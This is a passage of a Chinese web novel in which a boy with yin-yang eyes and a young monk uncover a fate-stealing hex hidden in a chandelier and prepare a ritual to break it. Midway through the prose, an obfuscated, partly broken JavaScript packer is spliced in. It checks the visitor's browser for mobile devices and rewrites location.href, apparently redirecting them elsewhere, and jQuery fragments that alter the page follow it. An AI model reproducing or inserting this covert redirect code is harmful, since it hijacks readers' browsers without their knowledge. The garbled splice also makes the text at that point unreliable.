花房中当季的品种看似怒放,每一盆都被精心照顾得很好,但却是昙花一现,花朵花苞之下是略见枯黄的根系,想必花期都要比正常情况要短得多。 无垢道:“像这样的地方,我还发现了六处。” 看似欣欣向荣的许宅,正在被七处衰落的方位拖累。 “许夫人的房间在整个房子的中心,当初这房子落成时便做了一个阵法,七星拱瑞,单列出北极紫微星,当中的方位本该大富大贵。” 无垢虽然头上已经开始长头发了,但还带着从前的习惯,他伸手作了个佛门的揖,锋利的眉目半敛,当中的三分慈悲却没有全然遮住。 “紫薇星位被邪祟入侵占据,七个原本上佳的小风水局也开始衰败反噬。” 反噬后所生成的诸多阴气,全都被奉送至紫薇星位,供养起了许夫人房间中的邪祟,房间内的阴气浓度过高正是因为这个。 这些都是无垢在走过许宅后得出的结论,也是他把目标锁定在许夫人房间的原因。 说完,无垢的视线直直落在崔砚身上,问:“你为什么会选择许夫人的房间?” 对面的少年从始至终都站在许家小孩身边,从没离开一步,根本发现不了其中蹊跷,但对方却偏偏仿佛未卜先知一般,目的明确,直奔这里。 若不是对方身上没有沾染半点阴气,也的的确确是个活人,他定然会怀疑对面少年目的不纯。 崔砚这才明白小和尚铺垫那么一大段话的目的,他有些想要发笑,但只是眉眼弯弯地瞧过去。 “怀疑我可以,但你的理由是什么?” 少年乖巧地跟小和尚对视,嘴角的弧度稍稍扩大就能见到右侧一颗尖尖的虎牙。 “至于我选择这里的原因……”崔砚眨了眨眼睛,指尖掠过对方的眉眼,“不是一眼就能看出来吗?” 无垢不笨,因此很快就反应过来对方的意思,他难得有些诧异。 小和尚了然地喃喃:“原来是天生阴阳眼。” 小佛子厉害是不错,但他也仍然需要借助外力才能窥见阴阳,这样的外力能起到的作用谁也说不好,同时还价格昂贵或者副作用强,因此很少有人真正地使用。 一双阴阳眼,玄门诸位趋之若鹜却又求而不得,整个玄学界有上百年没出现过了,但无垢今天却见到了活生生的阴阳眼拥有者。 一个年龄尚小,似乎背景并不强硬,声名未显的阴阳眼拥有者,难怪对方会隐瞒身份。 无垢平静道:“你不该告诉任何人。” 而少年却并不在意,轻飘飘地拍拍小和尚的肩,虎牙狡黠地露了出来。 “没关系,现在只有你一个人知道,我已经在你身上下了诅咒,来日一旦你有想要说出去的念头,就会在诅咒下七窍流血而死。” 无垢给了崔砚一个“你在逗我?”的眼神。 崔砚笑笑,无垢也没有再追问,两人默契地将这个话题揭过。 “来说说那东西吧。”崔砚抬了抬下巴示意无垢。 两人又抬起头来,视线落在天花板那盏漂亮的灯上。 21.首发文学城21 许先生的审美非常异于常人,整个许家别墅装修都体现着“金碧辉煌”四个字,连许夫人的房间也不例外。 天花板上的这盏灯,通体都由水晶构成,水滴形的水晶玻璃折射着灯光,透出颜色流光溢彩。 灯的中央有一个小平台,那里,正是整个屋子阴气浓度最高的漩涡中心。 无垢排查了许夫人房间的每个角落,将阵法的方位一一查探,最后才得出了中心的阴气源头。 他不像崔砚拥有阴阳眼,不能一眼看透阴气本质,却硬是凭借过硬的本领,在不借助任何外物的情况下,找到了阴气源头。 难怪隐渡寺佛子并没有露面几次,却能在整个玄学界站稳脚跟。 这样的实力,就算是如今声名远扬的忘凡师兄,也只能望其项背。 要不说吃这碗饭需要天赋呢? 就是可怜拜在了隐渡寺门下,崔砚无不可惜地摇摇头,伸手摸着下巴,思考着让李道长把人挖走的可能性。 无垢正在想法子检查一下天花板上的灯,灯的位置太高,即使他一米八几的大高个也完全够不着,显然只能借助外力。 他正想找许先生让人拿个梯子过来,转头却对上了崔砚和蔼又可惜的目光。 无垢:“……” 虽然他跟眼前的少年目前为止也就只相处了短短几个小时,但对方的刻薄他却已经初步领略了,这么骤然间接触到如此友善的目光,无垢竟然有些不适应。 崔砚微笑着缓缓开口:“隐渡寺没什么好呆的,最近灵妙观扩招,不知道你有没有兴趣?” “六险二金包吃包住,无责底薪一万,额外所得全都归你自己,月均收入三万,观主更是年入百万,未来也算指日可待。” 听他介绍着灵妙观的诸多好处,眼神里一开始的少许不善已经消失,像是丝毫不觉要挖一个和尚转业去道观有多不合理。 无垢深深地吸了一口气:“多谢抬爱,暂时不考虑。” “那太遗憾了。”崔砚的表情实在太真诚。 短暂地拉扯了一下,无垢终于叫来许先生,向对方表达自己需要梯子的意思。 许航悄悄跟在他爸后头,从门外探了个头出来,身上揣着被他妈妈还回来的符,迎面就被崔砚锤了一下。 “跑来这里做什么,嫌自己死得不够快?”崔砚嘴上这么说,手也将许航往外推。 这房间的阴气太浓,正常人不能久呆,许航这种八字弱的更是沾上就病,更何况他前边才着了道,buff叠满了。 许航听话地准备滚回自己的房间,走前看无垢放好梯子往灯上摸索,脑子非常有问题地询问:“你们拿东西还要搭梯子?” “不然呢,飞上去吗?”崔砚把他的脑袋按回去。 许航又嘿嘿笑两声,最后在崔砚像是看傻子一样的目光中闭麦了。 “我给你的符记得贴身放好,让你爸妈也随时跟紧在身侧,一旦发生什么意外,它可以保护你们。”崔砚又叮嘱一遍。 许航认真听着,表示自己记好了,一定会带着爸妈听话不乱跑。 现在时间已经临近六点半,按照之前的计划,无论外边发生了什么,其他人都必须待在房间里不许出门,崔砚干脆让他们都待在一起。 这样一来,有他给的符在,即使今晚来的是厉鬼,要动他们也得掂量掂量。 无垢的手机一直跟许先生保持着通话状态,其他人已经回房间紧闭房门。 小和尚取出了灯芯里藏的东西,收好梯子听见崔砚回来的动静,视线从对方手上一沓符纸上掠过。 察觉到他的视线,崔砚对无垢扬了扬手,这才将剩下的符放回兜里,道:“有备无患,其他人呆的房间内外都被我贴了门神符。” 有这东西在,门外的东西进不去,门里的人也开不了门,从根源上杜绝了其他人产生意外的可能性。 “嗯。”无垢道:“做得好。” 他毫不吝啬的夸奖脱口而出,崔砚意外地看过去一眼,咂摸着嘴道:“看不出来,你脾气还蛮好的。” 无垢思绪一顿,他似乎连重话都不曾对人说过,为什么人人都觉得他脾气不好? 打了个岔,崔砚揣好自己的一叠符,转头盯着无垢手上的东西,下意识后退两步,伸手拦在鼻尖,蹙眉道:“什么玩意儿,好臭。” 阴阳眼的特质并不局限在眼睛上,高人一等的天赋,优越敏锐的五感,这些都是阴阳眼与生俱来的能力。 对于阴气邪祟,阴阳眼拥有者能第一时间看到它的存在,对于他们来说,阴气鬼怪也是有气息的。 无垢闻不到,但崔砚却觉得那玩意儿简直是臭不可闻,像是在下水道浸泡过许久,咸湿黏腻阴冷恶臭。 无垢顿了顿,把东西拿着远离了崔砚一些,“从灯里取下来的。” “我怎么闻到了血腥味。”崔砚捂着鼻子,凑过去看了一眼。 无垢手里的东西看起来并不像闻着那样肮脏,简简单单一个红布包,巴掌大的东西里包裹着不知道什么,一凑近就有阴煞气迎面而来。 崔砚道:“看着的确不像鬼怪作祟,而是人为。” 鬼物没有实体,做不出这种玩意儿来,即使中途有鬼参与进来,也多是受人所驱策。 “许航你妈妈真想不起来自己得罪了什么人吗?”崔砚问。 电话那头一阵说话声传来,最后许夫人迟疑道:“……想不起来。” 崔砚不在意:“想不起来就算了。” 这红布包着东西,还有阵阵血腥味,一看就不是什么好玩意儿,一般这种邪术使用都会付出极大的代价,只要他们给破掉,背后搞鬼的人必定会被反噬。 对方既然会选择加害许航的妈妈,那就一定有所交集,只需要事后注意一下谁家突发横祸,就能找出真凶。 他对这些阴邪的手段知之甚少,便问无垢:“不过这东西到底是怎么害人的?” 这种脏东西,无垢倒是拿的很稳,他道:“窃命。” 简单两个字一出,电话那头的许家人吓得不轻。 无垢:“这红布上确实有血。” 他示意崔砚凑近看,少年有些嫌弃地快速瞅了一眼,发现红布上有两块指甲盖大小的地方颜色尤其深。 “两滴血,达成换命契约,其中一滴正是许夫人的。” 电话那头,许夫人大骇:“那上面怎么会有我的血?” 无垢道:“许夫人不妨仔细回想一下,最近有没有受过伤,或者意外产生过细小的伤口。” 红布上的血量很少,仅有一滴的量,既然不是许夫人主动给出去的血,对方想要取血,造成的伤口肯定不深,甚至容易让人遗忘。 另一个房间中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14347036|150707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许夫人眼神有些茫然:“我最近没有任何受伤的印象……” 许航担心又焦急地看着他妈,对方慌乱地捏紧双手,许航忽然眼尖地注意到他妈妈手上的一个疤痕。 那是一道非常不起眼的痕迹,就在无名指上,大概一厘米长,因为已经愈合,所以新长出来的皮肤稍浅一些,不仔细看根本注意不到。 “妈,你手上这个口子是什么时候有的?”许航抓着她的手问。 许夫人想了一下,说:“半个月前从医院回来后,拿东西的时候不小心被人的戒指划破了。” 许夫人去的医院是个中西结合的公立医院,她经常去看中医调理身体,半个月前正好去过一次。 这个时间点和伤口有些过于巧合了,崔砚抓住重点,问:“是谁给你划破的?” “不认识。”许夫人摇摇头。 “在医院碰到的陌生病友,我只记得她姓赵。” 这位赵女士也是医院的常客,许夫人今年去的时候总能遇到对方,听说是赵女士的儿子得了罕见病,中西医都看了个遍,始终无法治愈。 那天许夫人在医院大厅等叫号拿药,路过对方觉得眼熟,当时赵女士脸色煞白,即将摔倒的时候许夫人伸手扶了一把。 两人在医院的凳子上聊了会儿,提及了双方的病情。 许夫人吃药调理了这么久,身体已经大好,医生也说这一疗程吃完,可以先停一停观察一下。 而赵女士的生活其实并不如意,原先她家庭还算美满,可自从丈夫的公司破产后,这天就变了。 丈夫留下一大笔债后跳楼自杀,自小受罕见病折磨的儿子也病情急转直下,这时候家里却已经拿不出钱了。 许夫人听到她的遭遇非常同情,在医院核对了对方的病例后,便提出许家的慈善基金可以负担她儿子的医药费。 “她那天看上去状态不好,我担心她出什么意外,于是帮了会儿忙,最后分开时不小心被她的戒指划破了手指。” 电话这头崔砚听完后扬了扬眉,他本身体质特殊,并不惮以最大的恶意揣测任何一个人,听到这位赵女士的遭遇和目前的情况后,心中已经有了怀疑。 “对方有来过这里吗?”崔砚问。 许夫人点头:“来过,她……” 说到这里,许夫人忽然话一顿,脸色肉眼可见变得难看起来。 “那天她特意打电话想要上门感谢我,说是自己儿子的病得到了有效的治疗,很快就可以治愈了。” 许夫人是个非常单纯的人,她在为赵女士感到开心的同时,没有去深究对方话语的真实性,而是约好了时间等她上门。 想起那天发生的事,许夫人嘴唇有些颤抖,眼神也满是不可置信。 “那天她来了后,我们聊了一会儿,提到我房间的灯好像坏了,她便自告奋勇说要帮我修理。” 赵女士是个十分瘦弱的女人,许夫人不好意思让对方替自己修灯,但对方以报答为名义,说想要帮她做一些力所能及的小事。 许家在整个锦川都很有名,丈夫有钱,儿子也有出息,许夫人一看就是个家庭美满有福气的太太。 她还记得对方帮她修好了灯后,还夸过她心善命好。 所有被忽略的细节,都在此刻串联了起来,许夫人忽然觉得周身很冷,这样的事实让她感到不寒而栗。 22.首发文学城22 一次善举,却换来了对方的恩将仇报,许夫人没想到东郭先生和狼的故事会发生在自己身上,骤然间心神动摇。 她本来就大病初愈,身体还没好全,这么大惊大怒之下,直接承受不住昏了过去。 电话那头一阵兵荒马乱,夹杂着许先生和许航的求助声。 崔砚道:“别担心,问题不大,要是实在放心不下,就把许航身上的那张符放到阿姨的心口,过会儿她就能醒过来了。” 那头的许先生和许航赶紧照做,观察了一会儿,见许夫人虽然昏睡着,但脸色并不难看,这才稍微放下了心。 许家发生的这一切事情都已经明了。 恩将仇报这样的事情屡见不鲜,那位赵女士想来不是什么好人。 什么罕见病治了这么多年都不见好,这么短时间内却得到了治愈,对方怕是一开始就看上了许夫人的好命格。 “后续的事情我会在今晚解决,许先生不用担心,七点过后无论听见任何动静,各位都要记得不可离开房间。” 无垢再叮嘱了一次,得到回应后挂断了电话,随后他看向崔砚。 “虽然我只学过佛法,但也看得出来许小少爷身上的那张符,没有治病救人的功能。” “那咋了。”崔砚觉得他大惊小怪。 “我看过了,许夫人今天额带红光,必定逢凶化吉,我这么说不过是让他们不要关心则乱,早点冷静下来。” 崔砚戏谑道:“你个和尚懂什么叫善意的谎言吗?” 无垢没有在意崔砚的人身攻击,而是道:“等会儿我会先处理这东西,你……” 他不知道该说些什么,想要叮嘱两句,但短短半天相处已然明白对方浑身长满反骨,怕不是不会好好听话。 但令他意外的是,崔砚这会儿倒是变得很乖,举手发誓道:“你放心,我等会儿就在边上看着,绝对不给你捣乱。” 崔砚不了解邪术,对这些玩意儿的处理方法也一知半解,原先他来许家之前的打算便是遇鬼杀鬼,反正他兜里带足了符,随随便便都能直接将对方挫骨扬灰。 如果不是有鬼作乱,那便打电话摇人,找忘凡师兄过来帮忙。 这会儿事情的解决办法触及到了崔砚的知识盲区,既然有人帮忙,用不着他摇人,自觉省了功夫,崔砚自然不会没眼力见地去故意捣乱。 面对他的乖巧,无垢竟然有些欣慰。 不过崔砚虽然跟他保持了距离,但人走了,嘴还能说,在一旁好奇地问:“这换命要怎么解决?” “不用解决。”无垢却道。 他毫不避讳地将包裹好的红布打开,当中出现的是一撮短细的头发,底下垫了两张黄纸,纸上写了两个人的八字。 根据八字来看,其中一人年方十四,另一人则是许夫人。 崔砚探头过去看了一眼,掐指算算,随后嘴里一啧:“这小孩儿命该早夭,十年的寿数硬生生拖到了现在,也不知道在此之前窃取了谁的命。” “无知。”崔砚道。 人的寿数生来就写在了生死簿上,人活多少岁都是定数,多积德行善自然于寿命有益,反之伤天害理有损自身。 坏事做得多了,报应迟早会到,这辈子报不完,还有死后和下辈子接着受。 这小孩儿即使什么都没做,什么都不知情,但因果间他承受了果,自然也为下辈子种下了因。 算是被他妈坑惨了。 他感慨了一下,看向无垢:“这不用解决是怎么个解决法?” 他绕口令一般说了段,无垢却是直接挑出了写有许夫人八字的黄纸,又转头打开自己带来的包袱。 他身量高大,带的包袱也不小,一拿起来就丁零当啷响,看上去吃饭的家伙有不少。 无垢将许先生准备的桌子放在正北的朝向,坐北朝南,正对应北极紫薇方位,跟房间风水吻合。 随后他又拿出香炉,三根檀木香点燃,幽幽的檀香瞬间便神奇地盈满整个屋子。 崔砚就这么看着他一件一件往外拿东西,《大藏经》居中,前列香炉,檀香袅袅,又供鲜花瓜果,并无根水。 这一桩桩一件件,每一样东西都摆在了极佳的方位上,堪称教科书式设坛,怕是他们隐渡寺住持来了,也只能做到这个地步了。 崔砚不懂佛法,但佛道两门总有共通性,他看了一会儿,见这踩点的风水穴位有些眼熟,琢磨着问:“你这是要请天火?” 少年能画出那样的符,无垢也不意外他能看出来,点点头没应声。 崔砚表情一时间有些古怪:“请这天火来有什么作用?” “我要烧掉黄纸上许夫人的八字,但这等邪术,只有天火才能将其烧毁。”无垢道。 他将坛设好,静待天时,看了看时间后道:“还有十分钟。” 七点,这是无垢算出来的最佳时间,到时候天时地利人和,天火则乘风而来。 “还要等十分钟?”崔砚有些龇牙。 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这业火也是他偶然间召请到的,崔砚知道业火难得,这次见到,下次就不一定能见,突发奇想画了个承载符,将召请到的业火装在里边。 这火生生不息,竟然就这么一直用到了现在。 无垢听完:“……”天才。 佛道两家对待各自神佛都是敬着供着,在神佛已经很难显灵的现在,更是不敢有丝毫冒犯。 而神灵难得降下的恩赐都是一次性的,有借必还,如果刚才无垢借下天火,燃烧后也必需加上供奉还回去。 从没听说过有借不还的。 无垢再次仔细地将崔砚上下打量了好几次,确定了对方身上隐隐的神明倾注并不是假的,一时间心情更复杂了。 他甚至忍不住问:“你这样的天赋,没有想过去进行系统性的修行吗?” 崔砚双手抱臂:“我要是想,还轮得到你问?” 不然灵妙观那老头早就高高兴兴把他收入门下,每年道门大会都得跟击鼓传花似的,把他拎出去炫耀一道了。 他是不能学吗?他是不想,崔砚以前还是更想过普通人的生活。 话题就在这里打住,无垢也看出来崔砚不想谈及,于是拿业火符将纸上许夫人的八字尽数烧去。 然后,提笔写上了另一个八字。 崔砚好奇探头:“你这上边写了谁的八字?” 无垢垂眸:“我的。”